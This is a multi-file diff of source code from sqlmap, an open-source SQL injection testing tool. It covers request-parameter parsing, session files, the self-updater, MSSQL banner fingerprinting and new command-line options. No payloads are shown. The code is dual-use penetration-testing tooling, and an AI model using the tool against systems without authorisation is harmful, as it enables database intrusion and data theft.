from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import readInput
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.convert import urldecode
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -43,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
|
|||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
from lib.core.session import resumeConfKb
|
from lib.core.session import resumeConfKb
|
||||||
|
|
||||||
|
|
||||||
def __setRequestParams():
|
def __setRequestParams():
|
||||||
"""
|
"""
|
||||||
Check and set the parameters and perform checks on 'data' option for
|
Check and set the parameters and perform checks on 'data' option for
|
||||||
@@ -67,21 +62,20 @@ def __setRequestParams():
|
|||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
if conf.data:
|
if conf.data:
|
||||||
urlDecodedData = urldecode(conf.data).replace("%", "%%")
|
conf.parameters["POST"] = conf.data
|
||||||
conf.parameters["POST"] = urlDecodedData
|
__paramDict = paramToDict("POST", conf.data)
|
||||||
__paramDict = paramToDict("POST", urlDecodedData)
|
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
conf.paramDict["POST"] = __paramDict
|
conf.paramDict["POST"] = __paramDict
|
||||||
__testableParameters = True
|
__testableParameters = True
|
||||||
|
|
||||||
|
conf.method = "POST"
|
||||||
|
|
||||||
# Perform checks on Cookie parameters
|
# Perform checks on Cookie parameters
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
# TODO: sure about decoding the cookie?
|
conf.cookie = sanitizeCookie(conf.cookie)
|
||||||
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
conf.parameters["Cookie"] = conf.cookie
|
||||||
urlDecodedCookie = conf.cookie.replace("%", "%%")
|
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||||
conf.parameters["Cookie"] = urlDecodedCookie
|
|
||||||
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
conf.paramDict["Cookie"] = __paramDict
|
conf.paramDict["Cookie"] = __paramDict
|
||||||
@@ -91,7 +85,8 @@ def __setRequestParams():
|
|||||||
if conf.httpHeaders:
|
if conf.httpHeaders:
|
||||||
for httpHeader, headerValue in conf.httpHeaders:
|
for httpHeader, headerValue in conf.httpHeaders:
|
||||||
if httpHeader == "User-Agent":
|
if httpHeader == "User-Agent":
|
||||||
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
|
# No need for url encoding/decoding the user agent
|
||||||
|
conf.parameters["User-Agent"] = headerValue
|
||||||
|
|
||||||
condition = not conf.testParameter
|
condition = not conf.testParameter
|
||||||
condition |= "User-Agent" in conf.testParameter
|
condition |= "User-Agent" in conf.testParameter
|
||||||
@@ -113,13 +108,17 @@ def __setRequestParams():
|
|||||||
errMsg += "within the GET, POST and Cookie parameters"
|
errMsg += "within the GET, POST and Cookie parameters"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setOutputResume():
|
def __setOutputResume():
|
||||||
"""
|
"""
|
||||||
Check and set the output text file and the resume functionality.
|
Check and set the output text file and the resume functionality.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
if not conf.sessionFile:
|
||||||
|
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
|
||||||
|
|
||||||
|
logger.info("using '%s' as session file" % conf.sessionFile)
|
||||||
|
|
||||||
|
if os.path.exists(conf.sessionFile):
|
||||||
readSessionFP = open(conf.sessionFile, "r")
|
readSessionFP = open(conf.sessionFile, "r")
|
||||||
lines = readSessionFP.readlines()
|
lines = readSessionFP.readlines()
|
||||||
|
|
||||||
@@ -157,14 +156,12 @@ def __setOutputResume():
|
|||||||
|
|
||||||
readSessionFP.close()
|
readSessionFP.close()
|
||||||
|
|
||||||
if conf.sessionFile:
|
try:
|
||||||
try:
|
conf.sessionFP = open(conf.sessionFile, "a")
|
||||||
conf.sessionFP = open(conf.sessionFile, "a")
|
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
except IOError:
|
||||||
except IOError:
|
errMsg = "unable to write on the session file specified"
|
||||||
errMsg = "unable to write on the session file specified"
|
raise sqlmapFilePathException, errMsg
|
||||||
raise sqlmapFilePathException, errMsg
|
|
||||||
|
|
||||||
|
|
||||||
def __createFilesDir():
|
def __createFilesDir():
|
||||||
"""
|
"""
|
||||||
@@ -179,7 +176,6 @@ def __createFilesDir():
|
|||||||
if not os.path.isdir(conf.filePath):
|
if not os.path.isdir(conf.filePath):
|
||||||
os.makedirs(conf.filePath, 0755)
|
os.makedirs(conf.filePath, 0755)
|
||||||
|
|
||||||
|
|
||||||
def __createDumpDir():
|
def __createDumpDir():
|
||||||
"""
|
"""
|
||||||
Create the dump directory.
|
Create the dump directory.
|
||||||
@@ -193,6 +189,23 @@ def __createDumpDir():
|
|||||||
if not os.path.isdir(conf.dumpPath):
|
if not os.path.isdir(conf.dumpPath):
|
||||||
os.makedirs(conf.dumpPath, 0755)
|
os.makedirs(conf.dumpPath, 0755)
|
||||||
|
|
||||||
|
def createTargetDirs():
|
||||||
|
"""
|
||||||
|
Create the output directory.
|
||||||
|
"""
|
||||||
|
|
||||||
|
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||||
|
|
||||||
|
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||||
|
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||||
|
|
||||||
|
if not os.path.isdir(conf.outputPath):
|
||||||
|
os.makedirs(conf.outputPath, 0755)
|
||||||
|
|
||||||
|
dumper.setOutputFile()
|
||||||
|
|
||||||
|
__createDumpDir()
|
||||||
|
__createFilesDir()
|
||||||
|
|
||||||
def initTargetEnv():
|
def initTargetEnv():
|
||||||
"""
|
"""
|
||||||
@@ -216,22 +229,3 @@ def initTargetEnv():
|
|||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
__setRequestParams()
|
__setRequestParams()
|
||||||
__setOutputResume()
|
__setOutputResume()
|
||||||
|
|
||||||
|
|
||||||
def createTargetDirs():
|
|
||||||
"""
|
|
||||||
Create the output directory.
|
|
||||||
"""
|
|
||||||
|
|
||||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
|
||||||
|
|
||||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
|
||||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
|
||||||
|
|
||||||
if not os.path.isdir(conf.outputPath):
|
|
||||||
os.makedirs(conf.outputPath, 0755)
|
|
||||||
|
|
||||||
dumper.setOutputFile()
|
|
||||||
|
|
||||||
__createDumpDir()
|
|
||||||
__createFilesDir()
|
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class Unescaper:
|
class Unescaper:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__unescaper = None
|
self.__unescaper = None
|
||||||
|
|
||||||
|
|
||||||
def setUnescape(self, unescapeFunction):
|
def setUnescape(self, unescapeFunction):
|
||||||
self.__unescaper = unescapeFunction
|
self.__unescaper = unescapeFunction
|
||||||
|
|
||||||
|
|
||||||
def unescape(self, expression, quote=True):
|
def unescape(self, expression, quote=True):
|
||||||
return self.__unescaper(expression, quote=quote)
|
return self.__unescaper(expression, quote=quote)
|
||||||
|
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,12 +22,11 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import difflib
|
import difflib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import shutil
|
import shutil
|
||||||
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import urlparse
|
import urlparse
|
||||||
import zipfile
|
import zipfile
|
||||||
@@ -47,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
|
|||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __updateMSSQLXML():
|
def __updateMSSQLXML():
|
||||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -108,12 +106,15 @@ def __updateMSSQLXML():
|
|||||||
servicePack = servicePack[:servicePack.index("-")]
|
servicePack = servicePack[:servicePack.index("-")]
|
||||||
if "*" in servicePack:
|
if "*" in servicePack:
|
||||||
servicePack = servicePack[:servicePack.index("*")]
|
servicePack = servicePack[:servicePack.index("*")]
|
||||||
|
if servicePack.startswith("+"):
|
||||||
|
servicePack = "0%s" % servicePack
|
||||||
|
|
||||||
servicePack = servicePack.replace("\t", " ")
|
servicePack = servicePack.replace("\t", " ")
|
||||||
servicePack = servicePack.replace(" ", " ")
|
servicePack = servicePack.replace(" ", " ")
|
||||||
servicePack = servicePack.replace("No SP", "0")
|
servicePack = servicePack.replace("No SP", "0")
|
||||||
servicePack = servicePack.replace("RTM", "0")
|
servicePack = servicePack.replace("RTM", "0")
|
||||||
servicePack = servicePack.replace("SP", "")
|
servicePack = servicePack.replace("SP", "")
|
||||||
|
servicePack = servicePack.replace("Service Pack", "")
|
||||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||||
|
|
||||||
if servicePack.endswith(" "):
|
if servicePack.endswith(" "):
|
||||||
@@ -188,19 +189,13 @@ def __updateMSSQLXML():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Compare the old XML file with the new one
|
# Compare the old XML file with the new one
|
||||||
differ = difflib.Differ()
|
diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
|
||||||
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
|
sys.stdout.writelines(diff)
|
||||||
|
|
||||||
# Show only the different lines
|
|
||||||
for line in differences:
|
|
||||||
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
|
|
||||||
print line.strip("\n")
|
|
||||||
else:
|
else:
|
||||||
infoMsg = "no new Microsoft SQL Server versions since the "
|
infoMsg = "no new Microsoft SQL Server versions since the "
|
||||||
infoMsg += "last update"
|
infoMsg += "last update"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __createFile(pathname, data):
|
def __createFile(pathname, data):
|
||||||
mkpath(os.path.dirname(pathname))
|
mkpath(os.path.dirname(pathname))
|
||||||
|
|
||||||
@@ -208,8 +203,7 @@ def __createFile(pathname, data):
|
|||||||
fileFP.write(data)
|
fileFP.write(data)
|
||||||
fileFP.close()
|
fileFP.close()
|
||||||
|
|
||||||
|
def __extractZipFile(tempDir, zipFile):
|
||||||
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
|
||||||
# Check if the saved binary file is really a ZIP file
|
# Check if the saved binary file is really a ZIP file
|
||||||
if zipfile.is_zipfile(zipFile):
|
if zipfile.is_zipfile(zipFile):
|
||||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||||
@@ -222,7 +216,6 @@ def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
|||||||
data = sqlmapZipFile.read(info.filename)
|
data = sqlmapZipFile.read(info.filename)
|
||||||
__createFile(os.path.join(tempDir, info.filename), data)
|
__createFile(os.path.join(tempDir, info.filename), data)
|
||||||
|
|
||||||
|
|
||||||
def __updateSqlmap():
|
def __updateSqlmap():
|
||||||
infoMsg = "updating sqlmap"
|
infoMsg = "updating sqlmap"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -246,7 +239,7 @@ def __updateSqlmap():
|
|||||||
|
|
||||||
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
||||||
errMsg = "sqlmap version is in a wrong syntax"
|
errMsg = "sqlmap version is in a wrong syntax"
|
||||||
logger.errMsg(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -262,7 +255,7 @@ def __updateSqlmap():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif sqlmapNewestVersion < VERSION:
|
elif sqlmapNewestVersion < VERSION:
|
||||||
infoMsg = "if you are running a version of sqlmap more updated than "
|
infoMsg = "you are running a version of sqlmap more updated than "
|
||||||
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
|
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -289,13 +282,11 @@ def __updateSqlmap():
|
|||||||
tempDir = tempfile.gettempdir()
|
tempDir = tempfile.gettempdir()
|
||||||
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||||
__createFile(zipFile, sqlmapBinaryString)
|
__createFile(zipFile, sqlmapBinaryString)
|
||||||
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
|
__extractZipFile(tempDir, zipFile)
|
||||||
|
|
||||||
# For each file and directory in the temporary directory copy it
|
# For each file and directory in the temporary directory copy it
|
||||||
# to the sqlmap root path and set right permission
|
# to the sqlmap root path and set right permission
|
||||||
# TODO: remove files not needed anymore and all pyc within the
|
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||||
# sqlmap root path in the end
|
|
||||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
|
||||||
# Just for development release
|
# Just for development release
|
||||||
if '.svn' in root:
|
if '.svn' in root:
|
||||||
continue
|
continue
|
||||||
@@ -335,7 +326,6 @@ def __updateSqlmap():
|
|||||||
infoMsg = "sqlmap updated successfully"
|
infoMsg = "sqlmap updated successfully"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def update():
|
def update():
|
||||||
if not conf.updateAll:
|
if not conf.updateAll:
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
@@ -35,22 +33,20 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.parse.handler import FingerprintHandler
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
class MSSQLBannerHandler(ContentHandler):
|
class MSSQLBannerHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse and extract information from the
|
This class defines methods to parse and extract information from the
|
||||||
given Microsoft SQL Server banner based upon the data in XML file
|
given Microsoft SQL Server banner based upon the data in XML file
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, banner):
|
def __init__(self, banner, info):
|
||||||
self.__banner = sanitizeStr(banner)
|
self.__banner = sanitizeStr(banner)
|
||||||
|
|
||||||
self.__inVersion = False
|
self.__inVersion = False
|
||||||
self.__inServicePack = False
|
self.__inServicePack = False
|
||||||
self.__release = None
|
self.__release = None
|
||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
|
self.__info = info
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
@@ -58,8 +54,7 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
if value in ( None, "None" ):
|
if value in ( None, "None" ):
|
||||||
return
|
return
|
||||||
|
|
||||||
kb.bannerFp[key] = value
|
self.__info[key] = value
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "signatures":
|
if name == "signatures":
|
||||||
@@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
elif name == "servicepack":
|
elif name == "servicepack":
|
||||||
self.__inServicePack = True
|
self.__inServicePack = True
|
||||||
|
|
||||||
|
|
||||||
def characters(self, data):
|
def characters(self, data):
|
||||||
if self.__inVersion:
|
if self.__inVersion:
|
||||||
self.__version += sanitizeStr(data)
|
self.__version += sanitizeStr(data)
|
||||||
elif self.__inServicePack:
|
elif self.__inServicePack:
|
||||||
self.__servicePack += sanitizeStr(data)
|
self.__servicePack += sanitizeStr(data)
|
||||||
|
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "signature":
|
if name == "signature":
|
||||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||||
@@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
|
|
||||||
|
|
||||||
elif name == "version":
|
elif name == "version":
|
||||||
self.__inVersion = False
|
self.__inVersion = False
|
||||||
self.__version = self.__version.replace(" ", "")
|
self.__version = self.__version.replace(" ", "")
|
||||||
@@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
self.__inServicePack = False
|
self.__inServicePack = False
|
||||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||||
|
|
||||||
|
|
||||||
def bannerParser(banner):
|
def bannerParser(banner):
|
||||||
"""
|
"""
|
||||||
This function calls a class to extract information from the given
|
This function calls a class to extract information from the given
|
||||||
@@ -117,7 +108,7 @@ def bannerParser(banner):
|
|||||||
checkFile(xmlfile)
|
checkFile(xmlfile)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
handler = MSSQLBannerHandler(banner)
|
handler = MSSQLBannerHandler(banner, kb.bannerFp)
|
||||||
parse(xmlfile, handler)
|
parse(xmlfile, handler)
|
||||||
|
|
||||||
handler = FingerprintHandler(banner, kb.bannerFp)
|
handler = FingerprintHandler(banner, kb.bannerFp)
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from optparse import OptionError
|
from optparse import OptionError
|
||||||
@@ -33,7 +31,6 @@ from optparse import OptionParser
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
def cmdLineParser():
|
def cmdLineParser():
|
||||||
"""
|
"""
|
||||||
This function parses the command line parameters and arguments
|
This function parses the command line parameters and arguments
|
||||||
@@ -43,7 +40,7 @@ def cmdLineParser():
|
|||||||
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
parser.add_option("-v", dest="verbose", type="int",
|
parser.add_option("-v", dest="verbose", type="int", default=1,
|
||||||
help="Verbosity level: 0-5 (default 1)")
|
help="Verbosity level: 0-5 (default 1)")
|
||||||
|
|
||||||
# Target options
|
# Target options
|
||||||
@@ -62,13 +59,12 @@ def cmdLineParser():
|
|||||||
target.add_option("-c", dest="configFile",
|
target.add_option("-c", dest="configFile",
|
||||||
help="Load options from a configuration INI file")
|
help="Load options from a configuration INI file")
|
||||||
|
|
||||||
|
|
||||||
# Request options
|
# Request options
|
||||||
request = OptionGroup(parser, "Request", "These options can be used "
|
request = OptionGroup(parser, "Request", "These options can be used "
|
||||||
"to specify how to connect to the target url.")
|
"to specify how to connect to the target url.")
|
||||||
|
|
||||||
request.add_option("--method", dest="method", default="GET",
|
request.add_option("--method", dest="method", default="GET",
|
||||||
help="HTTP method, GET or POST (default: GET)")
|
help="HTTP method, GET or POST (default GET)")
|
||||||
|
|
||||||
request.add_option("--data", dest="data",
|
request.add_option("--data", dest="data",
|
||||||
help="Data string to be sent through POST")
|
help="Data string to be sent through POST")
|
||||||
@@ -76,8 +72,8 @@ def cmdLineParser():
|
|||||||
request.add_option("--cookie", dest="cookie",
|
request.add_option("--cookie", dest="cookie",
|
||||||
help="HTTP Cookie header")
|
help="HTTP Cookie header")
|
||||||
|
|
||||||
request.add_option("--referer", dest="referer",
|
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
||||||
help="HTTP Referer header")
|
help="Ignore Set-Cookie header from response")
|
||||||
|
|
||||||
request.add_option("--user-agent", dest="agent",
|
request.add_option("--user-agent", dest="agent",
|
||||||
help="HTTP User-Agent header")
|
help="HTTP User-Agent header")
|
||||||
@@ -86,31 +82,41 @@ def cmdLineParser():
|
|||||||
help="Load a random HTTP User-Agent "
|
help="Load a random HTTP User-Agent "
|
||||||
"header from file")
|
"header from file")
|
||||||
|
|
||||||
|
request.add_option("--referer", dest="referer",
|
||||||
|
help="HTTP Referer header")
|
||||||
|
|
||||||
request.add_option("--headers", dest="headers",
|
request.add_option("--headers", dest="headers",
|
||||||
help="Extra HTTP headers '\\n' separated")
|
help="Extra HTTP headers newline separated")
|
||||||
|
|
||||||
request.add_option("--auth-type", dest="aType",
|
request.add_option("--auth-type", dest="aType",
|
||||||
help="HTTP Authentication type, value: "
|
help="HTTP Authentication type "
|
||||||
"Basic or Digest")
|
"(Basic, Digest or NTLM)")
|
||||||
|
|
||||||
request.add_option("--auth-cred", dest="aCred",
|
request.add_option("--auth-cred", dest="aCred",
|
||||||
help="HTTP Authentication credentials, value: "
|
help="HTTP Authentication credentials "
|
||||||
"name:password")
|
"(name:password)")
|
||||||
|
|
||||||
|
request.add_option("--auth-cert", dest="aCert",
|
||||||
|
help="HTTPs Authentication certificate ("
|
||||||
|
"key_file,cert_file)")
|
||||||
|
|
||||||
request.add_option("--proxy", dest="proxy",
|
request.add_option("--proxy", dest="proxy",
|
||||||
help="Use a HTTP proxy to connect to the target url")
|
help="Use a HTTP proxy to connect to the target url")
|
||||||
|
|
||||||
request.add_option("--threads", dest="threads", type="int",
|
request.add_option("--threads", dest="threads", type="int", default=1,
|
||||||
help="Maximum number of concurrent HTTP "
|
help="Maximum number of concurrent HTTP "
|
||||||
"requests (default 1)")
|
"requests (default 1)")
|
||||||
|
|
||||||
request.add_option("--delay", dest="delay", type="float",
|
request.add_option("--delay", dest="delay", type="float",
|
||||||
help="Delay in seconds between each HTTP request")
|
help="Delay in seconds between each HTTP request")
|
||||||
|
|
||||||
request.add_option("--timeout", dest="timeout", type="float",
|
request.add_option("--timeout", dest="timeout", type="float", default=30,
|
||||||
help="Seconds to wait before timeout connection "
|
help="Seconds to wait before timeout connection "
|
||||||
"(default 10)")
|
"(default 30)")
|
||||||
|
|
||||||
|
request.add_option("--retries", dest="retries", type="int", default=3,
|
||||||
|
help="Retries when the connection timeouts "
|
||||||
|
"(default 3)")
|
||||||
|
|
||||||
# Injection options
|
# Injection options
|
||||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||||
@@ -126,6 +132,10 @@ def cmdLineParser():
|
|||||||
injection.add_option("--dbms", dest="dbms",
|
injection.add_option("--dbms", dest="dbms",
|
||||||
help="Force back-end DBMS to this value")
|
help="Force back-end DBMS to this value")
|
||||||
|
|
||||||
|
injection.add_option("--os", dest="os",
|
||||||
|
help="Force back-end DBMS operating system "
|
||||||
|
"to this value")
|
||||||
|
|
||||||
injection.add_option("--prefix", dest="prefix",
|
injection.add_option("--prefix", dest="prefix",
|
||||||
help="Injection payload prefix string")
|
help="Injection payload prefix string")
|
||||||
|
|
||||||
@@ -141,13 +151,12 @@ def cmdLineParser():
|
|||||||
"query is valid")
|
"query is valid")
|
||||||
|
|
||||||
injection.add_option("--excl-str", dest="eString",
|
injection.add_option("--excl-str", dest="eString",
|
||||||
help="String to be excluded before calculating "
|
help="String to be excluded before comparing "
|
||||||
"page hash")
|
"page contents")
|
||||||
|
|
